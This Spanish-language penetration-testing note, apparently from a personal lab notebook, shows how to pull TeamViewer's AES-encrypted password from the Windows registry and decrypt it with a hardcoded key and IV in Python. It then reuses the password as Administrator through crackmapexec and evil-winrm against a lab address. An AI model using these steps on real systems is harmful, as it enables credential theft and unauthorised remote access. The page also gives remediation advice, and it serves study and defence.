> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# Contraseña del registro de TeamViewer

Algunas versiones antiguas de TeamViewer almacenan una contraseña cifrada en el registro de Windows. El objetivo es identificar la versión, recuperar el valor AES, descifrarlo y validar si la credencial es reutilizable.

## Identificar el proceso

```powershell
tasklist /svc
```

<figure><img src="/files/f674cd19e5ff22a913b6b2528f542791d1bf2f3a" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## Localizar la clave del registro

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/11433e074d9908b7574c8511039f3bc9bdd9752b" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## Descifrar el valor

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="/files/97e67263a8ad6113c5dc186a7544304fd9b51d62" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## Validar el acceso

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/e5d5828437584d6575d1a3e56d7a9d54bd7458f7" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/aaab75b3c1326d5a747a97a1acbbc4be9b996218" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## Puntos clave

* Identifica la versión exacta de TeamViewer antes de aplicar un flujo de trabajo de descifrado conocido.
* Revisa el registro en busca de secretos persistentes de aplicaciones de terceros.
* Corrige el problema actualizando TeamViewer y evitando contraseñas reutilizables de acceso desatendido.


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